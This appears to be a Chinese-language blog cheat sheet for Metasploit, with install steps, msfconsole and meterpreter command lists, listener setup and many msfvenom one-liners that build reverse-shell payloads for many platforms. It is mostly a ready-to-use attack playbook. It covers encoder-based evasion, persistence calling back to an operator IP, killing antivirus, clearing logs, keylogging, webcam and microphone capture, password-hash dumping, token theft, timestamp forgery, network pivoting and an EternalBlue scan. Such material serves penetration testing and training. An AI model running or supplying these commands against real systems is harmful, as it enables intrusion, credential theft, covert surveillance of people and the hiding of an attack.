返回
Featured image of post MSF 命令

MSF 命令

一键式安装

Ubuntu-System

cd /opt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

Termux-System

cdpkg install wget
wget https://Auxilus.github.io/metasploit.sh
bash metasploit.sh

OR

pkg install unstable-repo
pkg install metasploit

Win10_Kali-System

powershell管理员模式下输入:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
kali命令行下输入:
sudo apt-get install metasploit-framework

常用命令

show exploits 			– 查看所有可用的渗透攻击程序代码 
show auxiliary 			– 查看所有可用的辅助攻击工具 
show options 			– 查看该模块所有可用选项 
show payloads 			– 查看该模块适用的所有载荷代码 
show targets 			– 查看该模块适用的攻击目标类型
back(返回):          	 从目前的情况下向后移动
cd:                   	改变当前的工作目录
color:                	切换颜色
connect(远程连接):    	与主机通信
exit (退出命令行):    	退出控制台
help(帮助) :             帮助菜单
info(获取模块信息):       关于一个或多个模块显示信息
irb:                     进入irb脚本模式
jobs:                    显示和管理职位
kill(结束进程):          结束一个进程
load (加载):            加载一个框架插件
loadpath :               搜索和负载从一个路径模块
makerc:                  保存自开始进入到一个文件中的命令
popm:                    弹出最新的模块从堆栈中并使其活跃
previous :               将以前加载模块作为当前模块
pushm :                  推主动或模块列表在模块栈
quit (退出控制台):       退出控制台
reload_all Reloads :     从所有定义的模块路径的所有模块
rename_job :             重命名工作
resource :               运行存储命令在文件
route :                  通过会话路由流量
save:                    将数据存储主动
search(搜索exp等模块关键字): 搜索模块的名称和说明
sessions(会话功能):      转储会话列表和显示有关会话的信息
set (设置参数):              设置一个特定的上下文变量的值
setg(全局设置参数):           设置一个全局变量的值
show (展示参数模块):          给定类型的显示模块或所有模块
spool :                      写控制台输出到一个文件以及屏幕
threads :                    查看和操作后台线程
unload (卸载某个插件):        卸载一个框架插件
unset (删除某个设置参数):      取消设置一个或多个特定的上下文变量
unsetg (取消全局某个设置参数):  取消设置一个或多个全局变量的
use (使用某个模块):           选择按名称模块
version(查看版本信息):        显示的框架和控制台库版本号

常用命令 2

background :         进程隐藏至后台
Sysinfo :            系统平台信息
screenshot :         屏幕截取
shell :              命令行shell (exit退出)
ls :                 查看文件目录列表
rm :                 删除文件 
cat :                 查看目标文件
getwd :               获取目标机当前工作目录,getlwd本地当前工作工作目录
edit (编辑):         编辑与$ VISUAL或$ EDITOR当前模块的
download C:\\Users\\123\\Desktop\\1.txt 1.txt :    下载文件
upload /var/www/lcx.exe lcx.exe   :                上传文件
search -d c:  -f *.doc  :               搜索文件
execute -f  cmd.exe -i   :              执行程序/命令 
ps  :                                   查看进程
run post/windows/capture/keylog_recorder :          键盘记录
getuid  :                               查看当前用户权限
use priv  :                             加载特权模块
getsystem   :                           提升到SYSTEM权限
hashdump  :                             导出密码散列
steal_token <PID>  :                    窃取令牌
rev2self  :                             恢复原来的令牌 
migrate pid  :                          迁移进程
run killav  :                           关闭杀毒软件 
run getgui-e                             启用远程桌面
portfwd add -l 1234 -p 3389 -r <目标IP>  : 端口转发
run get_local_subnets  :                获取内网网段信息
run autoroute -s <内网网段>  :           创建自动路由
run autoroute -p  :                     查看自动路由表

常用命令 3

meterpreter>clearev              清除日志
meterpreter>webcam_list          查看目标是否有摄像头
meterpreter>webcam_snap          连接摄像头拍摄照片
meterpreter>webcam_stream        用摄像头录像
meterpreter>getprivs             查看当前权限
meterpreter>keyscan_start/stop   开始/关闭键盘记录
meterpreter>keyscan_dump         获取键盘记录内容
meterpreter>record_mic           录音
meterpreter>run post/windows/manage/enable_rdp 开启 3389 端口
meterpreter>idletime             查看目标机闲置时间
meterpreter>uictl disable mouse  禁用鼠标
meterpreter>uictl disable keyboard  禁用键盘
meterpreter>getproxy             查看代理信息
meterpreter>run autoroute -s 192.168.159.0/24     添加到目标环境网络
meterpreter>run autoroute –p     查看添加的路由
meterpreter>run post/windows/gather/checkvm       是否 windows 虚拟机
meterpreter>run post/linux/gather/checkvm         是否 linux 虚拟机
meterpreter>run post/windows/gather/enum_patches  补丁信息
meterpreter>idletime             查看目标机闲置时间
meterpreter>reboot / shutdown    重启或关闭主机
meterpreter>timestomp -v C://2.txt                查看时间戳
meterpreter>timestomp C://2.txt -f C://1.txt      将 1.txt 的时间戳复制给 2.txt

通用使用流程

第一步:      search name 模块 
第二步:      use name 模块 
第三步:      info 查看模块信息 
第四步:      show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要) 
第五步:      set payload 载荷 
第六步:      show targets 查看该攻击载荷使用的系统类型(为scanner的时候不需要) 
第七步:      set targets num 设置目标的系统类型 
第八步:      show options 查看需要设置的参数show advanced 列出所有高级配置选项 
第九步:      set name 设置参数 
第十步:      exploit(为scanner 时用run) 
第十一步:     session –l –v列出所有可用的交互会话以及详细信息

设置监听

所有监听模块:

Windows
windows/meterpreter/reversetcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

Linux
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp

设置监听流程:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > set LHOST 本机IP地址
msf exploit(handler) > set LPORT 监听端口
msf exploit(handler) > exploit -j -z  
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs  查看后台攻击任务 
msf exploit(handler) > kill <id>  停止某后台攻击任务 
msf exploit(handler) > sessions -l  (查看会话)

msf exploit(handler) > sessions -i 2   选择会话
msf exploit(handler) > sessions -k 2   结束会话

生成反弹木马

默认参数:

-p        指定要使用的 msf 的 payload,也可以使用自定义 payload。
-l        列出所有可用的所有可用资源. 模块类型包括: payloads, encoders, nops等。
-n        为 payload 预先指定一个 NOP 滑动长度(一切为了绕过防火墙与免杀)。
-f        指定 payload 输出的文件类型,--help-formats,可查看支持的所有输出格式(默认的输出格式是 raw,直接输出 payload 的字符,含乱码之类)。
-e        指定要使用编码器。
-a        指定 payload 的目标架构,如 windows 系统的 x64,x86。
--platform        有效载荷的平台,如 windows 系统等。
-s        设定有效攻击荷载的最大长度,简单说就是生成的后门的字节数。
-b        指定坏字符,比如空字符截断问题等,导致后门无法运行。
-i        指定编码的次数,如果使用编码器。
-c        指定一个附加的 win32 shellcode 文件指定一个自定义的可执行文件作为模板。
-x        使用一个自定义可执行程序模板,并将 payload 嵌入其中
-k        当模板被执行时,payload 自动分离并注入到新的进程中,一般和-x 选项一并使用。
-o        指定创建好的 payload 的存放位置
-v        指定一个自定义的变量,以确定输出格式

生成 shell 命令:

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x64shell.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x86_shell.exe
(32 程序也可在 64 位系统运行)

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll

Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.jsp

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.war

Python:

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o shell.py

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.pl

Powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1

Android:

msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f apk -o payload.apk

Aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx

Nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js

Ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb

Lua:

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua

Windows Shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

Linux Shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

Mac Shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

常用技巧

1、长期维持权限 1

meterpreter > run metsvc -A

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.3.226
set LPORT 31337 (默认)
exploit

该条命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces,并自动保存为开机自动启动。

2、长期维持权限 2

meterpreter > run persistence –X –i 50 –p 8888 –r 192.168.3.226

-A   自动启动一个匹配的exploit/multi/handler来连接到代理
-L   如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P   有效负载使用,默认为windows/meterpreter/reverse_tcp。
-S   作为服务自动启动代理程序(具有SYSTEM权限)
-T   要使用的备用可执行模板
-U   用户登录时自动启动代理
-X   系统引导时自动启动代理程序
-h   这个帮助菜单
-i   每次连接尝试之间的时间间隔(秒)
-p   运行Metasploit的系统正在侦听的端口
-r   运行Metasploit监听连接的系统的IP

3、获取 shell 后,添加一层路由

meterpreter > run autoroute -h                  查看设置路由命令帮助
meterpreter > run get_local_subnets             获取当前设备路由链路
meterpreter > run autoroute -s 192.168.3.0/24   设置路由
meterpreter > run autoroute -p                  查看目前设置好的路由

4、批量扫局域网内永恒之蓝

msf5 exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24
rhosts => 192.168.3.0/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

5、设置代理

msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set srvport 8888
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

1. 打开浏览器代理设置
2. 设置Socks Host msf_IP,Port msf_8888
3. 选择Socks v4
4. 保存设置
5. 直接浏览器访问内网地址

6、常见远程攻击模块

use exploit/windows/smb/ms08_067_netapi     (MS08_067 Windows 2k,XP,2003远程攻击)
use exploit/windows/dcerpc/ms06_040_netapi  (MS06_040 Windows NT,2k,XP,2003远程攻击)
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index    (MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程攻击)
Licensed By 猫南北
最后更新于 2025 年 10 月 22 日 22:44